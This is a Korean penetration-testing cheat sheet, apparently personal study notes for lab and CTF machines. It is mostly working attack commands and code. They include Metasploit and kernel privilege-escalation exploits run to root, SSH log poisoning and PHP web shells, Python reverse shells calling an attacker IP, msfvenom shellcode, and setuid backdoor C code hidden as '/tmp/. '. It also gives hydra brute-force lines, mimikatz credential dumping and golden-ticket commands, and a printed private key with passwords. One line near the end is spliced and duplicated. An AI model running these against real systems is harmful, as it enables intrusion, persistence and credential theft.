10. keytool 사용법 : certificate 인증 문제

# keytool -list -v -keystore key 

 

암호화 되어있기 때문에 비번 알아야 하고

비번은 strings로 파일 살펴보면 있음

┌──(root💀takudaddy)-[/study]
└─# cp .keystore key                                                       3 ⚙
                                                                               
┌──(root💀takudaddy)-[/study]
└─# ls                                                                     3 ⚙
key  _SSL_test_phase1.pcap
                                                                               
┌──(root💀takudaddy)-[/study]
└─# keytool -list -v -keystore key                                         3 ⚙
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter keystore password: tomcat
Keystore type: JKS
Keystore provider: SUN

Your keystore contains 1 entry

Alias name: tomcat
Creation date: May 21, 2016
Entry type: PrivateKeyEntry
Certificate chain length: 1
Certificate[1]:
Owner: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
Issuer: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
Serial number: 60856e88
Valid from: Sat May 21 02:51:07 KST 2016 until: Fri Aug 19 02:51:07 KST 2016
Certificate fingerprints:
         SHA1: D5:D2:49:C3:69:93:CC:E5:39:A9:DE:5C:91:DC:F1:26:A6:40:46:53
         SHA256: F0:4A:E8:7F:52:C1:78:B4:14:2B:4D:D9:1A:34:31:F7:19:0A:29:F6:0C:85:00:0B:58:3A:37:20:6C:7E:E6:31
Signature algorithm name: SHA256withRSA
Subject Public Key Algorithm: 2048-bit RSA key
Version: 3

Extensions: 

#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 47 6B A3 37 ED A5 1F 0A   0D 61 CA AA 17 9C F4 8C  Gk.7.....a......
0010: 10 64 87 DF                                        .d..



Warning:
The JKS keystore uses a proprietary format. 
It is recommended to migrate to PKCS12 which is an industry standard format using 
"keytool -importkeystore -srckeystore key -destkeystore key -deststoretype pkcs12".

pkcs12 형태로 변환시켜야 하며

마지막줄에 사용법 나옴

 

# keytool -v -importkeystore -srckeystore key -srcalias tomcat -destkeystore newkey -deststoretype PKCS12 

 

┌──(root💀takudaddy)-[/study]
└─# keytool -v -importkeystore -srckeystore key -srcalias tomcat -destkeystore newkey -deststoretype PKCS12 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Importing keystore key to newkey...
Enter destination keystore password:  
Re-enter new password: 
Enter source keystore password: tomcat

[Storing newkey]
                                                                               
┌──(root💀takudaddy)-[/study]
└─# ls                                                                     3 ⚙
key  newkey  _SSL_test_phase1.pcap

 

인증 키 확인 방법 

# openssl pkcs12 -in newkey -nocerts -nodes 

 

┌──(root💀takudaddy)-[/study]
└─# openssl pkcs12 -in newkey -nocerts -nodes                              3 ⚙
Enter Import Password:
Bag Attributes
    friendlyName: tomcat
    localKeyID: 54 69 6D 65 20 31 36 31 37 35 39 38 36 37 32 38 30 36 
Key Attributes: <No Attributes>
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCjJXnELHvCEyTT
ZW/cJb7sFuwIUy5l5DkBXD9hBgRtpUSIv9he5RbJQwGuwyw5URbm3pa7z1eoRjFW
HLMVzKYte6AyyjUoWcc/Fs9fiu83+F0G36JmmFcxLFivVQwCHKhrajUc15i/XtCr
ExEDNL0igM8YnCPq4J9lXrXUanLltR464F7cJdLbkqHiqRvoFiOQi9e3CIZ86uoY
UNBupj2/njMFRuB7dEoeaQ/otHZIgCgjbP76I+/xyL/RkGxYuU0e1tpQiLxTi7kF
nJ1Rd55Gd+DvzuBiI9F+fxa4+TSQvRvQEzJIKowbPw6h82Cd66yFju8c2AKiaDie
F+AqVim3AgMBAAECggEBAIr2Ssdr1GY0hDODvUnY5MyXoahdobGsOVoNRvbPd0ol
cUDBl/0MSOJZLr+7Apo3lbhEdEO4kkOEtlVQ0MGKtSkcmhFo5updvjbgqPYKk0Qr
SqGmLuAQdoQt78Q4Pqg13MbRijfs8/BdRIPTE7SVYVxYNw4RQQ65EUv45gvuN7ur
shV5WSHVaN5QyUHyOTKcvFuBqxb9Mfo2NtRGZCG2QuG8V/C+k2k8+Q+n2wDaOXw8
sIWKVMHngOMcW1OBnM3ac/bTeI2+LI5cMsBZqYlLmkH1AOlnCgpH7389NbRQQJSo
sExX51v5r2mmI1JdzszwQYqRfH7+nugDRjBEN2ztqFECgYEA4eBiLFP9MeLhjti8
PDElSG4MVf/I9WXfLDU79hev7npRw8LE0rzPgawXOL8NhTbp8/X1D071bGaA3rCU
oBEEPclXlSwXHroZVjJALDhaPrIfFT6gBXlb9wAYSzWYED4LKXDuddVChrTo4Lmx
XaHb/KM7kpPuUWr+xccEEuNJBnMCgYEAuOduxGz2Ecd+nwATsZpjgG5/SwLL/rd0
TEMNQbB/XUIOI8mZpw5Dn1y71qCijk/A+oVzohc6Dspso4oXLMy0b+HCFPTKuGgg
Hf8QV5YbDg0urH8KNNEEH7Dx/C6cp6vVAcj6eQ2wOwW62yVY8gy2elWH0gte1BXl
hHiKIaLueq0CgYEAoAwi4+/7Ny7gzhvKfQgBt+mqOgGM/jzZvnRV8VDlayAm8YP/
fKcmjWZH6gCN7vdzHFcJ9nfnNJEI/UG3fhewnqscsOlV1ILe0xG2IN8pKsWBescu
EdLlFAZwMFJgVhnwRMPtY3bhtZtYa2uIPqUiwEdVPc4uDmi276LNwyhjJPsCgYA7
ANcO5TpMiB12vX6LURnpVNlX5WeVO5Nn9omXaavq5XY/o0hdz6ZyhxQFtDLLONX6
23T/x2umZp/uO9WTXStC/IaDS24ZFFkTWV4spOCzRi+bqdpm6j/noP5HG9SviJyr
Oif7Uwvmebibz7onWzkrpnl15Fz5Tpd0A0cI3sY87QKBgQDLZ9pl505OMHOyY6Xr
geszoeaj4cQrRF5MO2+ad81LT3yoLjZyARaJJMEAE7FZxPascemlg9KR3JPnevIU
3RdMGHX75yr92Sd8lNQvSO6RWUuRnc889xN1YrpPx5G1VppIFqTrcB0gAiREkeUA
pHiPhbocjixKJz9xx+pG0jDkrg==
-----END PRIVATE KEY-----
                                

 

 

 

11. gpg 파일 복호화

gpg --batch --passphrase HARPOCRATES -d login.txt.gpg

passphrase 알아야 복호화 가능하다.

 

 

 

#################################################################################

*  Kernel / System / Service

#################################################################################

 

 

1. chrootkit

전제) reverse_tcp로 세션 연결이 되어 있는 상황

meterpreter> background (현재 세션을 유지한 상태에서 다른 작업이 가능하도록 백그라운드로 돌림)

meterpreter> use exploit/unix/local/chrootkit

msf> set SESSION 1

msf> set LHOST 192.168.20.4

msf> set LPORT 8080

msf> set payload cmd/unix/reverse

msf> exploit

접속 후 주요 명령어 :

$ python -c 'import pty;pty.spawn("/bin/bash")'

 

1-2) 안될 수 있음

$ echo '#!/bin/bash' > update

$ echo 'chown root /tmp/test' >> update

$ echo 'chgrp root /tmp/test' >> update

$ echo 'chmod u+s /tmp/test' >> update

$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

$ ls -ls /etc/sudoers

1-3) 받은 파일 컴파일

$ gcc -o root root.c

1-4)update 파일 권한 부여

$ chmod +x update

1-5) 데일리 크론탭 실행

$ run-parts /etc/cron.daily

1-6) 쉘 코드 실행

$./root

 

 

2. RIPS 0.53 공략 : 웹 php 취약점, url 파라미터로 붙여 사용 (LFI)

# searchsploit -m php/webapps/18660.txt

사용 방법 :

http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd

http://localhost/rips/windows/function.php?file=../../../../../../etc/passwd

상대방 정보가 들어있는 파일 경로를 알아야 함!

 

 

 

2-1 LFI가 가능한 경우

/etc/passwd가 안 읽히면

/var/log/auth 를 읽어

openssh 열려있는지 확인

있으면 ssh log poisoning 공격 가능

# ssh '<?php system($_GET['cmd'])'; ?>'@192.168.10.22

 

 

 

3. OpenDocMan v1.2.7

 

 

4. phptax

 

 

5. cuppa cms

Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion                                 | php/webapps/25971.txt

 

 

 

6. Linux 3.13 : Local Privilege escalation (CVE-2015-1328)

$ wget https://www.exploit-db.com/download/37292

> 컴파일 시킨 후 실행하면 root

> nc로 옮겨 받을 경우 /tmp 폴더에서 작업

 

 

(linux 3.19) 우분투 ubuntu 14.04 - linux kernel 4.3.3

smeagol@192.168.10.45's password: 
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic i686)

smeagol@LordOfTheRoot:~$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 athlon i686 GNU/Linux

┌──(root💀takudaddy)-[/study]
└─# searchsploit -m linux/local/39166.c                                                                                             2 ⚙
  Exploit: Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1)
      URL: https://www.exploit-db.com/exploits/39166
     Path: /usr/share/exploitdb/exploits/linux/local/39166.c
File Type: C source, ASCII text, with CRLF line terminators

Copied to: /study/39166.c




smeagol@LordOfTheRoot:~$ wget http://192.168.10.10/39166.c
--2021-04-11 23:38:49--  http://192.168.10.10/39166.c
Connecting to 192.168.10.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2789 (2.7K) [text/x-csrc]
Saving to: ‘39166.c’

100%[===================================================>] 2,789       --.-K/s   in 0s      

2021-04-11 23:38:49 (508 MB/s) - ‘39166.c’ saved [2789/2789]

smeagol@LordOfTheRoot:~$ 
smeagol@LordOfTheRoot:~$ ls
39166.c  Documents  examples.desktop  Pictures  Templates
Desktop  Downloads  Music             Public    Videos
smeagol@LordOfTheRoot:~$ gcc -o attack 39166.c 
smeagol@LordOfTheRoot:~$ 
smeagol@LordOfTheRoot:~$ chmod +x attack 
smeagol@LordOfTheRoot:~$ ./attack
root@LordOfTheRoot:~# 
root@LordOfTheRoot:~# id
uid=0(root) gid=1000(smeagol) groups=0(root),1000(smeagol)
root@LordOfTheRoot:~# cd /root
root@LordOfTheRoot:/root# ls
buf  buf.c  Flag.txt  other  other.c  switcher.py
root@LordOfTheRoot:/root# cat Flag.txt 
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

 

 

 

 

7. Linux ubuntu 4.10.0-28-generic

# wget https://raw.githubusercontent.com/kkamagui/linux-kernel-exploits/master/kernel-4.10.0-28-generic/CVE-2017-16995/CVE-2017-16995.c

(다른 버전도 많음 github.com/kkamagui/linux-kernel-exploits)

 

or

> Linux - BPF Sign Extension Local Privilege Escalation (Metasploit)

payload => linux/x86/meterpreter/reverse_tcp

 

 

 

 

8. libreNMS

LibreNMS 1.46 - 'addhost' Remote Code Execution 47044.py

 

 

 

 

 

9. mysql

 

mysql is runing as root so i tried MySQL 4.x/5.0 - User-Defined Function Local Privilege Escalation Exploit
it is exploit that gets mysql to run system commands
cat /usr/share/exploitdb/platforms/linux/local/1518.c
copied it into VM

# gcc -g -c raptor_udf2.c
# gcc -g -shared -Wl,-soname,raptor_udf2.so -oraptor_udf2.so raptor_udf2.o -lc
# mysql -u root -p   (password : darkshadow )
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/smeagol/raptor_udf2.so'));

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';

mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)
mysql> select do_system('echo "smeagol ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers');
mysql> exit
# sudo bash
# whoami
root
# cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

 

 

 

 

 

 

 

#################################################################################

* Brute Force / Payload / Shell Code

#################################################################################

 

1. hydra 사용법 : SSH (안되면 ftp로 시도)

# hydra -L user.txt -P passwd.txt 192.168.10.8 ssh -t 3

# hydra –l username –P /usr/share/wordlists/rockyou.txt 192.168.1.102 ssh

# hydra -L users.txt -p plkac ssh://192.168.20.3

# hydra -l username -P /usr/share/wordlists/rockyou.txt ssh://192.168.20.5 -t 2

# xhydra &

 

 

┌──(root💀takudaddy)-[/study]
└─# hydra 192.168.10.37 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l ignore -P /usr/share/wordlists/rockyou.txt


┌──(root💀takudaddy)-[/htb/n]
└─# hydra -l admin -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.10.10.75 http-post-form "/nibbleblog/admin.php:username=^USER^,password=^PASS^:Incorrect username"

http-form-post "/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN" -vV -f

 

$ hydra -l root@localhost -P /usr/share/wordlists/dirb/common.txt 10.11.1.39 http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=300&User=^USER^&Password=^PASS^:Login Failed" -V

 

 

 

2. Payload : weevely

# weevely generate passwd /attack/backdoor.php

 

 

3. php shell 코드 (mysql로 상대 DB 접속 가능한 경우) : 코드 업로드 > 리스너 기동 > 파일 실행

3-1) 코드 짜서 16진수로 바꾸지 않고 올리는 경우

mysql> SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE "/var/www/https/blogblog/wp-content/uploads/shell.php";

 

 

3-2) 코드 짜서 16진수고 바꿔준 후 올려야 하는 경우

<? php

if(isset($_REQUEST['cmd'])){

$cmd = ($_REQUEST["cmd"]);

system($cmd);

echo "</pre>$cmd<pre>";

die;

}

>?

 

위 코드를 hex string(16진수)으로 변환

# echo -n $(cat cmd.php) | xxd -p

 

mysql 접속해 위 hex 코드를 injuection

> SELECT 0x[16진수로바꾼코드] INTO OUTFILE '/var/www/https/blogblog/wp-content/uploads/cmd.php';

 

3-3) 해당 경로로 이동

3-4) 리스너 기동

# nc -lvp

 

 

 

4. 파이썬 쉘 코드

: 상대편 서버에 올리고 우리쪽에서 nc로 대기 > 프로그램 실행시키면 붙는다

import os
import sys
os.system("nc -e /bin/bash 192.168.10.10 8989")

or

import socket,subprocess,os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.10",8989))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])

 

 

5. passing the hash in windows 해쉬 넘기기 pass the hash attack

# pth-winexe

# pth-winexe -U offsec%offsec%61fc5cc76eab45fcf27f8b0c01386132:2892d26cdf84d7a70e2eb3b9f05c425e //192.168.160.10 cmd

 

 

 

###########################################################################

* Buffer Over Flow

###########################################################################

 

Brainpan(https://blog.naver.com/takudaddy/222275481598)

 

 

 

1. 검색 작업 :

메이져 포트 없음 - ex) notables are 9999,10000

 

nc 적극 써야함

# nc 192.168.10.6:9999

 

숨은 디렉터리 있고 exe 실행파일 있음

# webenum.sh (nikto / wfuzz/ dirb)

 

# wget http://192.168.10.6:10000/bin/brainpan.exe

# file brainpan.exe

> PE32 Executable for MS Windows

# string brainpan.exe | grep strcpy (print 가능한 문자열 파일검색)

> strcpy = 취약함수

 

실험

# wine brainpan.exe : 서버 소켓이 생성되고 9999포트에 바인딩 됨

# nc 127.0.0.1 9999

버퍼에 값이 저장되는것 확인

 

 

 

 

2. 디버깅 작업 : Immunity Debugger (와인 재설치 https://wiki.winehq.org/Debian)

공격 절차 = 디버깅 작업으로 BOF 공격에 필요한 값을 얻은 후 원격으로 타킷 서버를 공격

디버깅 절차 =

* offset(두 번째 주소를 만들기 위해 기준이 되는 주소에 더해진 값) 찾기

* EIP / ESP 찾기

* JMP ESP 찾기

* Shell Code 삽입

 

 

 

3. 퍼징 툴 사용 : 터미널 두 개 혹은 터미널 + 이뮨디버거 동시에 띄운다.

/script/Bof/fuzz.py : 버퍼에 A 100개씩 보내면서 충돌지점 찾는다. 충돌지점에서 에러메시지 나옴

 

 

 

4. offset 값 찾기

4-1) uniqe string 생성

# locate pattern_create

# usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600(이 숫자는 충돌 지점에 따라 다름)

 

4-2) 프로그램에 버퍼 값 넣기

# buffer_skel.py

 

4-3) 이뮨디버거 열고 위 프로그램 실행 :

> 문자열이 카피되면서 BOF가 일어나고 이뮨 디버거 1번 어셈블리 패널 보이지 않게 됨

> 2번 레지스터 패널에서 EIP값 확인

> metasploit pattern_offset으로 정확한 바이트 사이즈 확인가능

# locate pattern_offset

# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35624134

> 정확한 offset 값 보여줌 : ex) 524

 

 

 

5. 메모리 구조파악

5-1) EIP 채우기

> 스켈레톤 파일 열기

> 버퍼값 : 'A' * 524 + 'B' * 4 + 'C' *(600-524-4)

5-2) 디버거 재실행 + 프로그램 실행

> 2번 레지스터 패널에서 ESP 우클릭 > follow in Dump 선택 > 3번 패널에서 ESP의 메모리 내용 확인(C,43 이 시작된 지점 확인 가능)

 

5-3) ESP 내 쉘코드 띄울 수 있는 여유공간 있는지 확인

> 스켈레톤 프로그램 버퍼의 C 공간을 늘려 확인 > 'C' * (1400 -524 -4) > 프로그램 실행 > 디버거에서 ESP 우클릭 > follow in Dump로 정상적으로 받는지 확인

 

여기까지 offset / EIP / ESP 확인까지 완료

 

 

 

6. Bad Character

6-1)

shell = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"

"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"

"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"

"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"

"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"

"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"

"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"

"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

 

이를 shell 변수로 넣어 스켈레톤 버퍼값으로 넣는다

> buffer = 'A'*524 + 'B'*4 + shell

 

6-2) 이뮨디버거 재실행 + 프로그램 실행

JMP ESP 포인트 찾기 : 이 부분은 하나밖에 없고 해당 값은 절대 변하지 않는다.

> 이 값을 복사 > 리틀 엔디언 방식으로 B 자리에 넣기 (쉘 실행 포인트임)

> 스켈 프로그램 : buffer = 'A'*524 + '\xF3\x12\x17\x31' + 'C'*(1400-524-4)

 

6-3) 이뮨디버거 실행 + 프로그램 실행

> JMP ESP 부분 브레이크 포인트 > 입력 정상적으로 되는지 확인 > 쉘코드 삽입

 

 

 

7. Shell Code 작성 및 삽입

7-1) payload 생성

# msfvenom -p linux/x86/shell/reverse_tcp -b \x00 LHOST=192.168.10.4 LPORT=8080 -f python

> 생성된 코드 스켈레톤 프로그램에 버퍼값으로 넣기 : buffer = 'A'*524 + '\xF3\x12\x17\x31' + '\x90'*20 + buf

 

7-2) Listener 생성

# cat << EOF >> listener.rc

> use exploit/multi/handler

> set payload linux/x86/shell/reverse_tcp

> set LHOST 192.168.10.4

> set LPORT 8080

> set ExitSession false

> exploit

 

7-3) 리스너 기동

# msfconsole -q -r listener.rc

 

7-4) 스켈레톤 프로그램 기동

> 접속

 

 

 

8. root 탈취

> LinuxPrivEnum.sh 돌리기

> sudo /bin/bash

> sudo -l

 

ex) manual vi 가 되면

!bash

 

 

 

 

 


 

 

 

 

쉘 코드 생성 방법

 

# msfvenom -a x64 -p linux/x64/exec CMD=/bin/sh -b '\x00\x0b\x0d\x0a\x18\x0c\x23\x24\x28\x29' | hexdump -v -e '"\\\x" 1/1 "%02x"'

┌──(root💀takudaddy)-[~]
└─# msfvenom -a x64 -p linux/x64/exec CMD=/bin/sh -b '\x00\x0b\x0d\x0a\x18\x0c\x23\x24\x28\x29' | hexdump -v -e '"\\\x" 1/1 "%02x"'
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
Found 4 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=13, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 87 (iteration=0)
x64/xor chosen with final size 87
Payload size: 87 bytes

\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x2c\x3f\xab\xb5\xb3\x46\x11\xf4\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x46\x04\xf3\x2c\xfb\xfd\x3e\x96\x45\x51\x84\xc6\xdb\x46\x42\xbc\xa5\xd8\xc3\x98\xd0\x46\x11\xbc\xa5\xd9\xf9\x5d\xbb\x46\x11\xf4\x03\x5d\xc2\xdb\x9c\x35\x79\xf4\x7a\x68\xe3\x3c\x55\x49\x14\xf4    

 

 

 

 

 

 

 

백도어 코드 

 

혹 관리자 권한 획득은 했는데

루트 유저로 전환은 안되었을 때 

#include <unistd.h>
#include <stdlib.h>

main()
{
	setuid(0);
    setgid(0);
	system('/bin/bash');
}


or



#include <unistd.h>
#include <stdlib.h>

main()
{
	setuid(0);
    setgid(0);
	execvp('/bin/sh', NULL);
}

 

 

vi 

/tmp/backdoor.c

int main()
{
	char *cmd[2];
	cmd[0]=\"/bin/sh\";
	cmd[1]=(void *)0;

	setreuid(3004,3004);
	execve(cmd[0],cmd,cmd[1]);
}

gcc -o /tmp/". "  /tmp/backdoor.c

chmod 6755 /tmp/". "

 

 

 

 

 

레이스 컨디션용 코드

 

runtarget.c

#include <unistd.h>

int main(void)
{
        int i;
        for(i=0; i<10; i++)
        {
                system("/usr/bin/level5 &");
        }
}


or


#include <stdlib.h>
int main()
{
	while(1) system("/usr/bin/level5");
	return 0;
}

 

attack_target.c

#include<unistd.h>

int main()
{
        int i;

        system("touch /tmp/18pass.txt");
        for(i=0; i<=10; i++)
        {
                system("ln -s /tmp/18pass.txt /tmp/level5.tmp");
        }
        system("cat /tmp/18pass.txt");
        system("rm -rf /tmp/18pass.txt");
}


or




#include <stdlib.h>
int main()
{
	system("touch /tmp/level6");
	while(1) system("ln -s /tmp/level6 /tmp/level5.tmp");
	return 0;
}

 

vi attack_target.sh

#!/bin/bash

#
#       # gcc -o Attack_Target Attack_Target.c
#       # gcc -o runTarget runTarget.c
#       # ./Attack_Target.sh
#

./runTarget &
./Attack_Target

 

윈도우 명령어

C: > Get-WmiObject win32_service | Select-Object Name, State, PathName
| Where-Object {$_.State -like 'Running'}

C: > icacls "C:\Program Files\Serviio\bin\ServiioService.exe"
C: > move adduser.exe "C:\Program Files\Serviio\bin\ServiioService.exe"
C: > net stop service
C: > whoami /priv
C: > whoami /groups
C: > net user admin password
C: > powershell.exe Start-Process cmd.exe -Verb runAs 
C: > net localgroup Administrators
C: > shutdown /r /t 0
C: > systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" (버전체크)
C: > driverquery /v (인스톨된 드라이버 검색, searchsploit으로 코드 검색)
C: > cd "C:\Program Files" (들어가 해당 드라이버 있는지 재확인)
C:\Program Files\USBPcap.inf > type USBPcap.inf (드라이버 내용 검색)
C:\Windows\System32\DRIVERS 경로에 일반적으로 있다,.


msfconsole
$ msfconsole -q -x "use exploit/multi/handler; set RHOST 192.168.160.10; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.119.160; exploit"


$ grep "CRON" /var/log/cron.log

 

Powerview

> Get-DomainComputer | % {Resolve-DnsName $_.cn | Select Name, IPAddress}

 

 

Powershell

 

 

 

mimikatz

# privilege::debug

# sekurlsa::logonpasswords

# token::elevate

# lsadump::sam

# lsadump::lsa

# klist

 

# kerberos::purge

# kerberos::list

# sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:2892d26cdf84d7a70e2eb3b9f05c425e /run:PowerShell.exe

# kerberos::golden /user:offsec /domain:corp.com /sid:S-1-5-21-4038953314-3014849035-1274281563-1103 /target:CorpWebServer.corp.com /service:HTTP /rc4:2892d26cdf84d7a70e2eb3b9f05c425e /ptt

Invoke-Kerberoast -OutputFo# kerberos::golden /user:offsec /domain:corp.com /sid:S-1-5-21-4038953314-3014849035-1274281563-1103 /target:CorpWebServer.corp.com /service:HTTP /rc4:2892d26cdf84d7a70e2eb3b9f05c425e /pttrmat john | Select-Object -ExpandProperty hash |% {$_.replace(':',':$krb5tgs$23$')}

Invoke-Kerberoast -OutputFormat john | Select-Object -ExpandProperty hash |% {$_.replace(':',':$krb5tgs$23$')}

 

728x90

+ Recent posts